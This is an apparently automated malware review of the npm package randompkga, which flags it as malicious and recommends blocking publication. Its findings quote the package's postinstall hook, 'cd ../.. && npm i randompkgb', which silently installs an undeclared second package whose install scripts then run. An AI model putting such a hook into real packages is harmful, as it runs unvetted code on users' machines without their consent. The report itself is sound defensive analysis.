## Security analysis

### Published attack-surface review

- **Summary:** Installing this package triggers an undeclared second-package installation from outside the package directory. That package may execute arbitrary lifecycle code during the original install.

- **Trigger:** npm install of randompkga

- **Impact:** Unconsented install-time dependency injection and potential arbitrary code execution.

- **Evidence paths:** package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-19T17:25:30.860Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall installs an undeclared remote package from ../..

- **Attack narrative:** During npm installation, the postinstall hook escapes two directory levels and installs randompkgb without declaring it in the manifest. This conceals a second-stage package from normal dependency review and permits its lifecycle scripts to execute in the consumer project context.

- **Rationale:** The manifest contains a concrete, unconsented install-time second-stage package installation outside its own directory. This is a dependency-injection payload chain, not a package-aligned runtime feature.

- **Files touched:** package.json, ../../node\_modules/randompkgb

### Review decision

- **Verdict:** Malicious

- **Confidence:** 97.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** \`postinstall\` changes two directories upward and runs \`npm i randompkgb\`., The installed package is not declared as a dependency, obscuring the install-time payload.

- **Evidence against:** No package source files beyond the manifest were present., No direct network endpoint, credential harvesting, or file exfiltration code was found.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.9/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = cd ../.. && npm i randompkgb
```

### 2. Critical: Red Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 95.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.9/package.json>)

Install-time lifecycle script matches a deterministic static-gate block pattern.

Public source snippet (untrusted):

```json
scripts.postinstall = cd ../.. && npm i randompkgb
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 97.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/randompkga@1.0.9/package.json>)

\`postinstall\` changes two directories upward and runs \`npm i randompkgb\`.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "cd ../.. && npm i randompkgb"
  }
```
